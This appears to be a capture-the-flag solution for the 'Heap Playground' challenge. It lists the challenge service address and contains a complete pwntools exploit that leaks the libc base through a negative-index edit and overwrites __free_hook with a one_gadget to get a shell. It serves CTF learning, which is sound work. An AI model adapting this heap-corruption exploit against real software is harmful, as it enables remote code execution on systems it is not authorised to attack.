day 11 - Heap Playground
[general]
day 11 - Heap Playground
Just another heap challenge.
- Service:
nc 3.93.128.89 1215
- Download: advent2019_heap_playground.tar.gz
exploit
from pwn import *
context.arch = 'amd64'
context.terminal = ['tmux', 'split-window']
BINARY = '/home/vagrant/heap-playground'
LIBC = '/home/vagrant/libc-2.27.so'
LD = '/lib64/ld-linux-x86-64.so.2'
HOST, PORT = '3.93.128.89', 1215
elf = ELF(BINARY)
libc = ELF(LIBC)
def debug(breakpoints):
script = ""
for bp in breakpoints:
script += "b *0x%x\n"%(bp)
gdb.attach(p, gdbscript=script)
def start():
if not args.REMOTE:
return process(BINARY)
else:
return remote(HOST, PORT)
def ru(s):
return p.recvuntil(s)
def wr(s):
p.send(s)
def wmenu():
ru("Choice: ")
def add(size, data):
wmenu()
wr("1\n")
ru("Size of the chunk: ")
wr("%d\n" % (size))
ru("Content: ")
wr(data + "\n")
ru("Created chunk ")
chunk_id = int(ru("\n").split("\n")[0])
return chunk_id
def edit(idx, offset, char):
wmenu()
wr("4\n")
ru("ID of chunk: ")
wr("%d\n" % (idx))
ru("Index of character to edit: ")
wr("%d\n" % (offset))
ru("Character: ")
wr("%s\n" % char)
def delete(idx):
wmenu()
wr("2\n")
ru("ID of chunk: ")
wr("%d\n" % idx)
def get(idx):
wmenu()
wr("3\n")
ru("ID of chunk: ")
wr("%d\n" % idx)
d = ru("1. Create chunk\n").split("Chunk %d:\n" % idx)[1].split("\n1. Create chunk\n")[0]
return d
p = start()
# debug([])
## set up rel-r/w window and leak libc base
add(13, "A")
add(0x400, "B")
add(0x400, "C")
edit(1, -2147483648, "X")
delete(2)
## create some temp chunks to bump the max id up
for i in xrange(16):
print "DUMMY %d" % (i)
add(0x400, "A")
delete(4+i)
for i in xrange(0x20):
edit(1, i, "Y")
data = get(1)
print repr(data)
libc_leak = struct.unpack("<Q", data[0x20:] + "\x00\x00")[0]
libc_delta = 0x3ebca0
libc_base = libc_leak - libc_delta
print "LIBC BASE = %016x" % (libc_base)
## overwrite next pointer of third chunk
one_gadget = libc_base + 0x4f2c5
one_gadget = libc_base + 0x4f322
#one_gadget = libc_base + 0x10a38c
logfacility_offs = 0x3eb34c
german_offs = 0x3e94a4
malloc_hook_offs = 0x3ebc30
free_hook_offs = 0x3ed8e8
target_offs = free_hook_offs
ptr = (libc_base + german_offs)
ptr_s = struct.pack("<Q", ptr)
for i in xrange(6):
edit(1, 0x448 + i, ptr_s[i])
print "GERMANY @ 0x%x" % (libc_base + german_offs)
print "FREEHOOK @ 0x%x" % (libc_base + target_offs)
ptr = one_gadget # libc_base + logfacility_offs
ptr_s = struct.pack("<Q", ptr)
for i in xrange(6):
print "HAX %d" % ((target_offs - (german_offs + 0x10)) + i)
edit(0xd, (target_offs - (german_offs + 0x10)) + i, ptr_s[i])
# trigger malloc_hook
# add(0x400, "B")
# trigger free hook
delete(1)
print "*** MAYBE WE GET SHELL NOW??"
p.interactive()